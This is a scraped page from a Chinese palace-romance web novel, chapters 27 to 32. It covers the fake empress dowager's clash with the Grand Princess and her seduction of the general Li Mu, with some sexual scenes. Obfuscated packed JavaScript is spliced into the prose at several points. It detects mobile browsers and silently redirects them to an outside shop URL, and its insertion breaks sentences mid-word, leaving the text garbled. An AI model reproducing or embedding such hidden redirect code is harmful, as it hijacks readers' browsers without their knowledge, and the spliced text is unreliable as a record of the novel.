大长公主坐下,她近日春风得意,脸上已经没有病容。她不貌美,但眼神里透着天家的贵气,冷冷看过来,威严和高贵的气息一并碾压了过来。 “太后。” 大长公主明显有备而来,她直视着朱凝眉,想用身居高位者对权力势在必得的锐气,逼迫朱凝眉。但朱凝眉最近和李穆吵架次数有点多,火气正旺,无论大长公主用什么眼神看她,朱凝眉都敢坦坦荡荡直视回去,这倒让大长公主有些意外。 “大长公主有话直说吧。”朱凝眉道。 “前些日子,太后的娘家侄女遇袭。梅景行正在查幕后主使者,可他竟将手伸到了我府上,还抓走我府中的一位管事。” 大长公主说话有些咄咄逼人,态度强硬:“我希望你别把事情闹大,否则谁都不好看。” 朱凝眉微笑着看她:“梅景行是司礼监大总管,他不归我管。但我知他并非莽撞之辈,他敢闯入大长公主府抓人,必定掌握了充足的证据。大长公主想让他放人,这还不简单?您不如也拿出证据,证明那位管事并非幕后主使之人!” 大长公主道:“我不是来听你耍嘴皮子的,放不放人,是你自己的事。” 朱凝眉听完,忍不住笑了,这一笑妩媚倾城,弄得大长公主心里很不舒服。 朱凝眉道:“梅景行抓人之事,我也是听大长公主说了才知道。不如我立即将梅景行召来,让他当面跟您解释?” 朱凝眉本来还打算养好伤之后再去讨好李穆,求他帮忙找出绑走榕姐的人是谁。 如今看来,幕后主使者已经沉不住气,自己找上门来。 倒也好,省得她还得费心思讨好李穆。 大长公主板着脸道:“我说了,我不是来听你耍嘴皮子的。我知道,如今你有李穆当靠山,谁都不放在眼里。可是你怎么敢肯定李穆会永远当你的靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱凝眉冷笑:“这就是你指使府中管事绑走榕姐的缘由?你的目的是什么呢?你是想用榕姐讨好李穆,还是想用这个秘密来威胁我?” “我想让你说服李穆,把秦王召回京城。” 朱凝眉问:“秦王回了京城,手中没有权力,也只是个闲散王爷,你觉得他能做些什么?” “李穆还能一辈子都待在京城吗?北疆战事未了,他迟早要回去镇守边疆。还是你觉得凭着自己的美貌,便能一直把李穆绑在你身边?” 朱凝眉听着大长公主说的这些混账话,气不打一处来:“你自己也是女子,何必如此轻贱女子?难道我在你眼里,没有李穆就活不下去?难道我活着的所有意义只是为了笼络李穆?我就不能有自己的一腔抱负?” 大长公主被她问住,皱了皱眉:“别扯远了。把秦王弟召回京城,哄着李穆还政于陛下,命他去北疆镇守要塞,永世不得回京。做到了这些,日后史书上自会有你一席之地。否则,我会把你那侄女的身世公开。你猜猜看,若李穆知道你妹妹为她生了个如此乖巧可爱的女儿,会不会想起往日的恩爱,与她破镜重圆,重归于好?若你不听我的,我就让你尝尝竹篮打水一场空是什么滋味。” “李穆就在乾元殿,要不然我现在就让人把他喊来?你把这些话告诉他,你看他会不会感激你?”朱凝眉坦然道:“我们朱家人没你那么多花花肠子,李穆与我妹妹和离后,我妹妹不想再看见他,才找个地方去躲清静。” “大长公主,你认为男子会对不爱的女人生的孩子有多珍惜呢?你生在皇宫里,有那么多兄弟姐妹,难道你的每一个兄弟姐妹都能得到父亲的眷顾和疼爱?”朱凝眉摇摇头,只觉得她很可笑:“你走吧,跟你说话实在没意思。你是先皇的妹妹,也是憺儿的姑姑,我不愿对你口出恶言。” 还有,她虽是假太后,却代表着姐姐的脸面,她不愿给姐姐脸上抹黑,所以才控制住自己,没有说出更难听的话。 “悦容,送大长公主出宫!” 她说完送客,垂眸掩下眼中冷意。 悦容是梅景行提拔上来的人,她心里向着太后,早就听不惯大长公主说的这番话。如今太后叫她把大长公主请出去,她自然乐见其成。 悦容拿出掌事姑姑的气派,道:“大长公主,请吧!太后娘娘身体不适,需要休息了。” 大长公主怒道:“放肆,你一个卑贱的宫女,也敢在本宫面前如此放肆!” 28. 第 28 章 悦容心疼榕姐被吓得惊慌失措,更心疼太后娘娘那日带着满身伤痕从宫外回来,如今见大长公主作恶后不知悔,反而气势汹汹,怒从心起. “长公主殿下,站在您面前的人是当今陛下的亲生母亲,是先帝的遗孀。您怎么敢仗着陛下对您的恩宠,堂而皇之地跑来宫里欺辱他的母亲?便是先帝在世,也万万不会纵容您这样做……” “啪!” 清脆的巴掌落在悦容的脸上。 “这就是你宫里的规矩吗?”大长公主怒打了悦容一巴掌,再冷冷地看向朱凝眉:“把她给我拖下去杖毙!” 朱凝眉仿佛没有听见大长公主的话,她先走到悦容面前,心疼地摸着她被打得红肿的脸,然后拍拍她的手,以示安抚 接着,她冷着走到大长公主面前,趁大长公主还没反应过来时,一巴掌扇了回去:“这里是安宁宫,岂容你放肆!” “朱雪眉,你疯了吗?你竟为了一个宫女打手打我?先帝在世时都没有打过我,你怎么敢!”大长公主抚摸着自己的脸,气疯了。 但她却不敢还手。 朱凝眉还是不理她,转头温柔地对悦容道:“还疼不疼,我带你去上药。” 大长公主留下来也没意思,转身就走了。 大长公主一走,悦容便开始担忧:“太后娘娘,大长公主说的是真的吗?榕姐果真是您的孩子?” 悦容是梅景行的心腹,她一早就知道自己伺候的是假太后,是真太后朱雪梅的妹妹,也是五年前与李穆和离的朱家二小姐。 朱凝眉按住悦容的肩膀,让她坐下,然后拿出一盒绿色的药膏,勾出一团,均匀涂抹在她脸上。 从前,朱凝眉只把悦容当作梅景行安插在安宁宫的一枚棋子,想不到悦容今日竟然会为了她反驳大长公主。 也许悦容这样做有别的目的,但朱凝眉不愿多想。今日悦容愿意为她出头,她已经很感动了。 “别担心!”朱凝眉眼神笃定,却语气淡淡:“等着吧,看我怎么收拾她。” 给悦容上完药,朱凝眉换了件衣裳。换的是那件她穿着有些紧,悦容却觉得很好看的衣裳。 改妆的时候,朱凝眉让悦容去打听,李穆在哪里。 改好妆,朱凝眉带上悦容,悦容提着食盒一起去找李穆。 此时李穆正在金吾卫值班时的住所旁,那附近有个校场,可供侍卫们下值后锻炼身体。 时辰尚早,侍卫们都在当值,校场内没有什么人。 朱凝眉身着一袭合身的白色襦裙,踏入校场,成了一道令人难以忽视的风景。 “太后娘娘,您怎么到这里来了?”梅景行身着常服,额头上冒着汗,刚要离开。 朱凝眉对上他那双清澈的眼睛,并不能做到十分坦然。哪怕她的目的已经明显得不能再明显,她也要牵强地笑着解释:“我、我就过来看看——” 然后,她的目光便停留在了赤裸着上身的李穆那里。 梅景行识趣道:“奴婢告退。” 说完,他也把悦容带走了。 悦容临走前,把装绿豆汤的食盒放在了一旁的石桌上。 李穆双手提着石锁,两只胳膊拉开平举着石锁,再慢慢向胸前合拢。 拉开,又合拢。 滚滚汗水,从他额角流出,渗到了眼睛里。 朱凝眉掏出帕子,凑近他,帮他擦汗。 李穆动作没有停,呼吸也很平稳,他目光停留在她身上,尤其在她胸口鼓鼓囊囊的那处停得久了些,满意道:“还算是长了些肉。” 李穆这样盯着她,让她有些口干舌燥。 尤其他腰腹以上什么也没穿,手臂筋肉凸起,肩宽腰窄,青色血管从腹部蜿蜒伸展钻进了腰带里。 她失神得有些久,等李穆练完了,站在她面前,定定地看着她,她才回神。 意识到自己的举动不合时宜,朱凝眉立即转过身,不再看他。 难得李穆没有像平常那样笑话她,只是稍作休息后,转向下一个石器。 这回李穆是要将磨石般的大石头从地上扳起,再推它往前倒,周而复始。他开始微微喘气,隆起的筋肉,一鼓一鼓的,似要从钻出肌肤的桎梏。 阳光洒在他的铜色的皮肤上,晒得他汗水蒸腾,身上冒着氤氲热气,那热气似乎快要喷到她身上来了。 朱凝眉被迫后退了两步,见他此时不打算停下来,便想回去,不再留下来打扰他。 可是一想到大长公主那双咄咄逼人的眼睛,她又不得不迫使自己留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱凝眉正红着脸把碗放回食盒内,忽然听到他的笑声,羞恼地食盒往他面前重重一推,转身逃走。 李穆笑声更放肆了! 29. 第 29 章 朱凝眉心情沉重地回到安宁宫。 想到今晚要应付李穆,她无论如何也高兴不起来。 但回宫后,换下那身裹得她浑身不自在的白色衣裳,便发现她来了葵水。 喝下一碗甜滋滋的红糖姜汤,朱凝眉紧绷的额角立即变得松弛,肩膀也舒展了许多。 但悦容却担忧起来:“李穆会不会觉得娘娘在耍他?他若发脾气,娘娘该不会有危险吧?咱们还是把梅公公请来商量下计策吧。” “放心,李穆虽性子急躁,却不至于气得动手把我掐死!”朱凝眉淡定地躺下,把热水袋捂在酸胀的肚子上,道:“我来葵水的日子没有定数,又不是故意要骗他。” 每次来葵水前,朱凝眉都要痛几日。 但今日这葵水来得毫无预兆,大约是被大长公主气出来的。 与大长公主吵架,朱凝眉看似冷静、从容,实则心中的恐惧已经被大长公主点燃:她不能让榕姐的身世曝光在李穆面前;也不能让李穆知道她是假太后。 至少现在,她要对付的敌人是大长公主,而不是李穆。 放眼整个皇宫,只有李穆能为她所用。 她想对付大长公主,却不能求助大哥,因为她不想让大哥蹚入这浑水中来。 她也不能求助小皇帝和梅景行,因为大长公主是小皇帝的姑母,他们是血脉至亲。哪怕小皇帝明知大长公主在谋划什么,他也不愿动大长公主。 那日在他的生辰宴上,陆憺见大长公主掉泪,立即跑到她身旁安慰。 大长公主是陆憺唯一的亲人,要挑唆他们彼此仇恨,实在太难。 她何必舍近求远,费力不讨好。 思来想去,李穆最适合为她所用。 榕姐是他女儿,让他去报仇,是给他赎罪的机会! 虽然今日来了葵水,但朱凝眉也不想随便敷衍李穆。 李穆难缠得很,她得打起精神才行。 朱凝眉躺到傍晚,小腹坠痛感减轻些,才起来梳妆打扮,布置宴席。 这五年来,她都是在给死人布置祭祀的宴席,这还是第一次给活人布置。 但终归都是做给活人看的,也没多大的区别。 她布置好宴席,又开始精心打扮自己。 李穆喜欢她这张脸,她得让李穆看到她这张脸后心软,没办法生气。 然后,她才能在他心情没那么糟糕的时候,提起大长公主的事。 白日还是晴空万里,到了晚上,居然下起暴雨。 李穆沐浴焚香剃虚,赶往安宁宫,却在路上被暴雨淋得浑身狼狈。 朱凝眉打扮得温温柔柔的模样,撑着伞,在安宁宫大门口等他。 隔着很远,便看见李穆带着一群人,浩浩荡荡地走来。 隔着雨幕,看清楚她在等待自己,怕她等得急,李穆从侍卫的伞下钻出来,大步流星地钻到她的伞下。 冷意自李穆身上袭来,她忍不住打了个喷嚏。 李穆皱了皱眉,从她手里接过伞。 两人一起踏入院子,李穆手里的伞完全遮住朱凝眉,没让她淋到一滴雨,而他却大半个身子都在伞外。 入了安宁宫,朱凝眉领着李穆去沐浴。 她已经料到李穆有可能会被淋,早早叫人准备好热水。 暴雨天,热水蒸腾,美人香气扑鼻。 李穆心看懂了她的邀请,握住她的手,紧张激动得嗓音颤抖起来:“一起洗?” 她踮起脚,勾着他的脖子,在他湿漉漉的脸上落下一吻。 李穆魂都被她勾走。 却听见她小声说:“不行,我葵水来了。我并非有意戏弄你,上午去找你的时候,身上还是利索的。回来后,才发现来了葵水。还有上回的事,我也得跟你说声抱歉,当时我不该没头没脑地拿着剑就冲进去,质疑是你绑走了我兄长和榕姐。” 她咬着唇,眼睛水汪汪地看他:“李穆,这两件事,你都不会怪我的,对吧?” 李穆脸色说不上难堪,语气也还算温和:“但你兄长和……出事之后,你第一个想到的人却是梅景行。你很信任他?” “你日理万机,我哪敢随意打扰你?梅景行伺候我这么多年,我用顺手了,有什么不对?” 朱凝眉帮李穆解开湿漉漉的衣服,嗓音娇甜,脸颊上的绯红晕染到耳后:“人人皆知,你才是我最大的靠山。” 李穆拍开她的手,自己动手解衣:“你出去等,还是在这里等?” 朱凝眉看不出他有没有生气,但她葵水来了,久站肚子坠疼,便低声道:“我去外面等你。” 李穆很快沐浴完,换了身白色寝衣出来。 桌上摆着精致的饭菜和酒,屋内装饰着各色花朵,但她却没有坐在桌旁等待。 伺候的人,都被打发走,寝殿里空荡荡的,她不知去了哪里。 李穆心里莫名一沉。 但一转身,便见她抱着热水袋闭着眼睛躺在软榻上,脸色苍白,额头冒汗。 李穆走过去,温柔地抱起她,让她躺在自己怀里,手在她肚子上打着圈,轻轻揉着。 这手法,一看就是跟太医学的。 李穆身上的寝衣是她准备的,料子很薄。 她的脸靠在他胸口,能感受到寝衣里面的肌肉经络走向。 听到她葵水来了,李穆非但没有生气,反而表现得很温柔,朱凝眉有些惊讶。 她调皮心起,冰凉的手指顺着他的袖口往上滑,去摸他手臂。手臂硬邦邦的,捏都捏不动,不好玩。 李穆沉着脸,把她的手拔出来,定眼看她:“老实点!” 她冲着他笑,笑得温柔。 “下雨了,外面好冷啊。”她的手被锁在他干燥的手掌内,不能继续作恶,只好用脸蹭了蹭他的胸口,然后娇气地道:“但你的手很暖。” 她像一条没有骨头的蛇赖在他身上,双腿弯曲着,眉眼舒展,看似温驯。 他面无表情地抚摸着她软软的肚皮,看着她满脸算计的模样,默默在心里叹气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593581|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她显然有事求他,才会这样好说话。 李穆逼着自己不去想她为何讨好自己,否则他会更生气。 他生气,就会口不择言。 而她脾气和耐性都差,几句重话也听不得,必定会对他睚眦目裂,继而说出更难听的话。 她脾气这样差,真不知先帝这些年是如何忍耐下来的。 这么想之后,李穆成功说服自己:先帝忍得,他也忍得。 “你怎么不说话?”朱凝眉见他皱眉不语,低声问他。 他冷着脸不说话的时候有些骇人,眉眼中依稀能看出来些许从战场上带回来的杀伐决断和心狠手辣。 朱凝眉看着他那张冷硬的脸,身子往上游,在他喉结滚动的地方落下一个湿润的吻。 李穆身子一颤。 他生气了,扶她坐好,自己站起来,借着整理寝衣的动作遮住不堪。 朱凝眉快速瞟了一眼:峰峦雄伟,颇为壮观。 可惜这只纸老虎,与他身上的物件不大匹配。说起狠话一套又一套,真给他胡作非为的机会,居然又害羞起来。 李穆冷眼瞪着她。 疼出满头大汗,还不肯老实,她脑子里装着些什么? 李穆冷冷道:“你明知葵水来了难受,还去外面吹冷风做什么?” 朱凝眉手掌垫着下巴,目光迷离,语气温柔似水:“我想让你高兴呀!谁让你总是生气。” 她目光幽幽地,还带着几分埋怨。 李穆微微挑眉,冷眼看着她纤细的手指,爬上自己的衣裳,轻轻地,一下一下,往她身旁拽。 衣裳晃动间,那不堪入目处,便再无遮拦。 他皱着眉,气得拍开她的手。 可她竟然趁机拽住他干燥的手,温柔地哄着他:“坐下嘛,我又不吃人。扭扭捏捏的,像个刚拜完堂的大姑娘。” 李穆被她轻轻一拉,往前踉跄一步,从善如流地坐回她身旁。 她动作熟练地扑进他怀里,搂着他的腰,喟叹了一句:“真暖和啊,你的身子像个火炉似的,冬日里抱着你睡,一定很舒服。” 李穆低头,闻了闻她的头发。 她身上有股淡淡的白薇香气,闻之令人心安。 她抬起头,湿漉漉的圆眼睛看着他,指尖轻轻在他背脊上打着圈,慢慢往下移,却又胆怯地停下。 半晌后,她的手缓慢地挪到他胸前,两根手指轻捏着他白色寝衣边缘。 李穆冷眼看她下一步如何行动。 可她却停下,从他怀里坐起来,一本正经地与他商量:“李穆,我不想当个言而无信之人,我有别的方法让你高兴。” 她瞪大眼睛看着他,满脸期待:“如何?” 李穆胸膛起伏,闭上眼睛,再三告诉自己别生气。 “李穆?”她摇晃着他的衣袖,撒娇。 “这种话是谁教你的!”李穆睁眼,用力甩开她的手,怒道:“老子这就去把梅景行给宰了,成天不干正事!” 30. 第 30 章 李穆气势汹汹地离开,眨眼的工夫就走到门口。他感觉自己受到侮辱,他是真的喜欢她,真心想对她好,可她把他看成什么人呢? 李穆恨她看轻自己,更恨她不知廉耻和自尊,放下身段对他做这种事。 他要她永远高高在上,不愿见她卑微沉沦。 “站住!”朱凝眉大声吼道。 她不能让李穆走,李穆今日若走出寝殿,还不知道什么时候来。她拿什么对付大长公主?留给她的时间不多了。 她也想耐着性子哄哄李穆,可此时此刻,她心里只剩烦闷。 “你今晚若敢从这里走出去,以后就别再厚着脸皮过来!” 李穆看着门外的暴雨,停下脚步。 李穆叹口气,回头,嘴硬道:“我可不是受你威胁才不敢走,是雨太大,我才刚洗的澡,别又被淋湿。又不是洞房花烛夜,一天要洗好几次,怪麻烦的。” 他刚走回软塌边,就被朱凝眉拽住手腕,跌倒着坐下。 刚坐下,那娇小玲珑的身子便趁机钻入他怀里,清新的白薇香,瞬间让李穆被气得昏昏沉沉的脑子清醒了几分。 李穆还在生气,推推她,却舍不得用力。 他怎么推不开,因为她像蛇一样紧紧缠着自己。 李穆眉还没用力,她便已经痛得皱眉:“你别推我,我肚子疼着呢,骨头都跟散架似的。你安分点吧!” 这可真是恶人先告状。 李穆被她气死,却拿她一点办法都没有,大手握住她又白又细的腕,有种稍稍用力就能折断的错觉。 他低头,看着她埋怨的眼神,和委屈的扁嘴,有种难言的情绪从心底钻出来。 又酸又涩的委屈。 还有钻心的耻辱。 他被她拿捏,却无法反抗,又狼狈又不堪。如果这是在战场,他就等同于被她活捉的俘虏。 他想得到她的尊重和倾慕,而不是像只狗一样被她驯服。 可她就是有本事把他的骨气抽走,只要她在他面前晃一晃,他便会不由自主地向她投诚,跪在她面前摇尾乞怜。 朱凝眉没认真钻研过撒娇这门本事,她有个师姐,说话娇滴滴的,只要师姐努努嘴,撒撒娇,便有人屁颠屁颠的供她驱使。 她大概没这种禀赋,要不然她怎么跟李穆撒娇半天,都像是媚眼抛给瞎子看。 她把人留下来,可他还在生气! 一计不成,再生一计。 朱凝眉脑筋一转,想起榕姐生气的时候,仔细看,他们父女俩生气的神情颇为相似。 抱着试试看的想法,她坐在李穆腿上蹭了蹭,一只手搂着他劲瘦的腰,一只手动作轻柔像哄孩子那样,一下下抚着他的背。 她耐着性子安抚,可他却总想把她甩开。 朱凝眉耐心用尽,骂道:“别惹我生气行不行!” 李穆放弃挣扎,任由她安抚,像个木头人似的杵着,像是越来越生气。 朱凝眉无奈地叹气,只好放软嗓子,尽量让声音听起来更妩媚些。 “没有人教我这样做。你别总是吃梅景行的干醋,虽然他长得好,我多看他几眼便心情愉悦。可我跟他真没什么,我怎么会喜欢一个太监?” “我生气不是因为他,是因为你!在你眼里,难道我是个禽兽?你来了葵水,我——” 朱凝眉捂着他的嘴,打断他说话:“可我只想让你开心啊!” 可这话落入李穆耳中,便如同滚开的油锅里掺入一滴水,炸得噼里啪啦响。 李穆扣紧她纤细的腰,呼吸变得沉重,喉结滚动,他牢牢抓住她的手,低哑的嗓音带着并不可怕的威胁:“行了,你别乱动。” 臀下传来一阵灼热,朱凝眉绷脊背。 她紧张得胸口起伏不定,李穆低着头,不经意便见到那处迤逦的沟壑,喉结滚动了两下,强迫着自己挪开眼睛。 他才说过,他不想当禽兽。 李穆清了清嗓子,低声哄她:“好了,我已经不生你的气了。先放开我,让我先去冷静冷静。你在这里躺会儿,等你肚子不痛,再起来陪我用膳。” 朱凝眉将他按住,不许他起身。 她瞪着他,双唇死死堵住他那张比石头还硬的嘴。 窗外,雨下得越来越大,雨珠子猛烈地砸落在地,噪声喧哗嚣张,掩盖住屋内的喘息和闷哼声。 一炷香后,李穆红着脸跟在朱凝眉身后,看她一遍遍地洗手。 他心疼道:“别洗了,你都已经洗了三盆水,再洗下去,都快搓破皮了。” 朱凝眉拿着帕子擦干手,低头想闻闻手上还有没有残余的味道,又怕熏着自己,于是理直气壮地把手伸出去:“你闻闻看,还有没有味道。” 李穆抓住她白嫩的手,闻了又闻,嘿嘿笑道:“香!” 朱凝眉横了他一眼,埋怨道:“你可真难伺候,手都酸了。” “我年轻气壮,血气方刚——”李穆脑子转得快,立即忍住还未说出的话。 他年轻气壮,血气方刚,自然和先帝那种病弱的老头子不同。她没享过福,不知道好处,李穆不能跟她在这方面斗气,哪怕赢了也不光彩。 他捧着她的脸,用力亲了一下,道:“等你身子好了,换我伺候你。” 朱凝眉嫌弃地用手背擦了擦嘴,推开他:“快点用膳吧,菜都凉了。” 走到桌边,朱凝眉夹起菜,尝了口,觉得凉了,便道:“菜果然凉了,我还是让人撤了,重新上吧。” “下这么大的雨,重新送过来也是凉的,就这样吃吧,我没你那么挑。”李穆坐下,先给她盛了一碗汤,再给自己盛,然后说:“打仗的时候,我吃的是跟石头一样硬的饼,得掰开一小块,放在嘴巴里慢慢化开才能咽下去。” 朱凝眉又想起了自己在忠勇侯府看到的那些书,忽然对他生出敬意。 “抛开私事不谈,李穆,你在我心里算得上是一位顶天立地的英雄!” 李穆正在喝汤,被呛了一下,他刚才还在埋怨自己得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“只要你往后都如今日这般殷勤,哪怕我知道你对我是虚情假意,我也甘之如饴。只要我李穆活着一日,你便是高高在上的太后,你吩咐我做事,理所应当!” “从今日起,你有什么事都可以吩咐我去做,别再跟梅景行咬耳朵。我李穆眼里容不得沙子,我舍不得伤你,杀个梅景行却轻而易举。” 朱凝眉咬住唇,她现在可以求他。 可她不想让李穆觉得自己是在坑蒙拐骗,万一日后他发现她是假太后,再想起今日之事,会不会觉得自己受了莫大的侮辱,然后将气撒在她身上,让她死无葬身之地? 可是错过这个机会,她又要处于被动。 要么被他弄死,要么被长公主弄死。权衡之下,对付李穆,她还有一线生机。一夜夫妻百日恩,等她葵水走了,她和李穆夜夜做夫妻,补偿他便是! 这么一想,朱凝眉便有了底气。 “我还是不说了,我不想让你为难。”朱凝眉撩了撩头发,摆弄自己的衣裳,将衣裳敞开了些。 峰峦叠嶂,春色迷人眼。 李穆挪开目光,脸红道:“你现在跟了我,还要受气,那我李穆日后该如何立威?” 他这神气的模样,让朱凝眉生出几分欢喜。她将下巴垫在他肩膀上,吐气如兰:“我在宫里出不去,除了你,还有谁能让我受气?” 31. 第 31 章 朱凝梅坐在李穆怀里,哽咽地诉说着大长公主如何霸道欺人,哄着她借钱去放印子钱,出事便将罪都推在她头上。 先帝生气,差点废后,朱家几乎面临满门抄斩的地步。 好在李穆争气,连战连胜。 捷报传入京城,先帝考虑朱家和李穆之间的关系,选择从轻处理。 其实这些事跟李穆没有丝毫关系,先帝也没有打算废后。放印子钱的事,纯属朱雪梅故意引着大长公主犯错,抓住她的把柄,让她别再作恶。 在证据确凿的前提下,先帝仍对大长公主从轻处理,朱雪眉气不过,自请废后,回了朱家。先帝陪着在朱家住了三个月,朱雪梅才消气。也是从那时起,先帝便身体不大好。 窗外下着绵绵细雨,瑞兽香炉内,橘箬熏香沁甜。 李穆身量宽厚修长,拥着她纤细羸弱的身体,听她说这些事,心里也跟着一起难过。 朱凝眉细声细气地说完这些话,没什么底气地问:“她是先帝都护着的大长公主,你能动她吗?”李穆不说话。 朱凝眉抿抿唇,小声道:“你动不了她,也帮不了我。我也只跟你诉诉苦罢了。反正她年纪大,身体也不好,而我肯定比她活得长,还能被她欺负几年呢?” 她仿佛原谅了大长公主,眼中不再委屈,反而有闲心一根根拨弄他的手指。 李穆瞧她这没心没肺的模样便生气:窝里横!对他蛮不讲理,却到旁人面前做低伏小。 “我会帮你杀了她,不让你再受气。”说完,李穆脸色阴沉。 朱凝眉心里高兴,神色却很慌张:“不行,这忙你不能帮!我不愿见你和憺儿反目成仇。” “你是我的女人,我不想看见你被她欺负。若陛下恨我,便让他恨。我等他羽翼丰满,向我宣战。我的脑袋就在这里,随时等着他来摘!” 朱凝眉心情复杂,觉得李穆果真是个顶天立地的男人,可他却只愿为朱雪梅豁出性命。 朱凝眉落泪,娇声道:“你杀了大长公主,憺儿自然知道你是在为我出头。他动不了你,便会恨我。我宁愿受大长公主欺负,也不愿意和憺儿离心。我求你,别惹事。” 李穆漠然道:“我会处理得干干净净,保证陛下怪不到你头上。” 朱凝眉自然知道他有这个能力,才愿意忍着腹痛讨好他。 她攀住他的脖子,跟他撒娇:“求你了嘛!” 像夏日的花藤缠住灌木枝那样缠着他。 潮湿温暖的玉唇啮咬着他的耳廓,热气像蛇一样钻进他的耳朵。 淡淡的红晕从李穆的耳后往外扩散,似潮水一般蔓延到他的脸颊,染红他的眼睛。 黑眸中的杀意褪去,浮上一层欲妄。 他像是因为缺水躺在了沙漠里,即将死去,蚂蚁爬上他的胸口,细小地口器扎入他的肌肤,酥麻酸痛,它们要钻进他身体里,吸食他的骨髓。 朱凝眉又他让爽利了一回,手又酸又痛。 而他尝过好处,胆便大了些,不能将她吃干抹净,也要仔细把玩个痛快。 尽兴后,他仍旧不答应放过大长公主。 朱凝眉佯装生气:“以后你问我什么,我都不说了。” 李穆酒足饭饱,瞧她处处都顺眼,他撩开她垂落的发丝,捧着她的脸,吻她因动情落下的泪。 “别哭了,我答应你,不杀她,行吗?”他低声哄她,眸中的杀意却不曾消退。 朱凝眉心里知道,这事妥了。 她抽泣着在李穆怀里蹭了蹭,忽然看向窗外:“咦,雨停了!” 她笑容甜美,梨涡深深,眼眸璀璨,似落入万千星辰。 李穆见她这般高兴,眉头舒展,身体往后仰,有种说不出的惬意:“你是因为雨停高兴呢?还是我答应你高兴?或许,是跟我在一起让你高兴?” 朱凝眉扑过去,趴在他胸口,往上爬,在他下巴处轻轻一啄:“都高兴!” 李穆满意地哼哼,自作主张地认为,她是因为和他在一起才高兴。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617611|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朱凝眉感受到李穆的欣喜,他是个脸上藏不住事的人。 不过,以他如今的地位和权柄,他也不需要藏住情绪。 朱凝眉能看懂他的心情,却不知他是因为和朱凝眉在一起高兴?还是因为他得到了朱雪梅的青睐而高兴? 想到这些,心里总有一股挥之不去的酸涩。 朱凝眉心里像是堵住了,她讨厌自己像怨妇似的。 李穆抬起她的下巴,在她红唇上吻了吻。 “刚才还挺高兴的,怎么又垮着脸?”李穆坐直了身体,抱着她,让她平躺着,继续给她按揉肚子。“是不是又痛了?” 朱凝眉摇摇头,定定地看着他:“李穆,五年前,你为何娶我小妹为妻?” 这话李穆不爱听,他抽出手,冷冷地道:“不疼了就闭上眼睛睡吧,折腾了这么久,不累吗?” 她若是说不累,李穆便有法子让她累! 朱凝眉爬起来,搂着他的腰,不许他逃避。 她捧着他的脸,含着他的唇,与他缠绵。 这个吻无关情欲,只有两个契合的灵魂于虚空中相遇。像被点燃的焰火,光华点缀着黑暗,像朵朵鲜花,在寂静荒芜中骤然绽放。 她被吻得气喘吁吁,双颊绯红,却仍旧眼睛明亮:“我好奇,你说给我听嘛。你心里爱着我,却又娶我妹妹为妻——我总觉得你并非真心爱我。” 李穆被她吻得动了情,脑子里除了这个吻,再也想不到别的,被她蛊惑得主动掏出了心。 “当年你是皇后,我见你一眼都难。我不知先帝会死得这么早,我若知今日,又何必多此一举娶你妹妹为妻?别说五年,便是十年老子也等得起啊!” 这话伤了朱凝眉,她心痛难耐,泪水隐忍着不肯掉落。 李穆却以为她是被自己感动落泪,亲亲她的脸,继续道:“你妹妹是个可怜人,她嫁给老子,老子就算看在你的份上,也不会亏待她。谁知她竟嫌老子粗鄙。哎——你揪老子耳朵干什么?” 32. 第 32 章 盼这么多年,她终于亲耳听到李穆承认,她只是姐姐的替身。 是他因为怜悯,才勉强自己娶回家的可怜虫。 她在他心里,什么都不是。 朱凝眉死死咬住后槽牙,掐灭脑子里咬得他满脸是血的念头。 李穆见她神色不对,脸凑过来:“是不是肚子又痛?让你躺着,你非不听,像头犟驴。都是些陈芝麻烂谷子的事,就算问清楚,你又能得到什么好处?” “你不想说,也没人不逼你。”朱凝眉嫌弃地推开他,转头望着窗外:“记得成亲前,我出宫去探望即将出嫁的小妹。当时我听小妹说,你很喜欢她。我在想,你既娶她,为什么不好好珍惜她呢?也不知她如今在哪里?” 李穆揉了揉眉心,粗大的手指掩住了眼中的疲惫。 “原来你跟我翻旧账,是在替你小妹打抱不平!”李穆深吸一口气,将她的脸掰回来。锋利的眉眼,带着咄咄逼人的锐意。 朱凝眉斜着眼看他,气势嚣张:“不然呢?” 李穆被她气得心脏突突跳,站起来,在寝殿内来回踱步。他端起茶壶,牛饮一大壶水,才浇灭心火。 他重新走回榻侧,居高临下地看着她,目光逐渐阴沉,神色蓄满戾气:“你觉得我不应该和你小妹和离?这样我就没有机会再缠着你,是不是?” 朱凝眉没有否认。 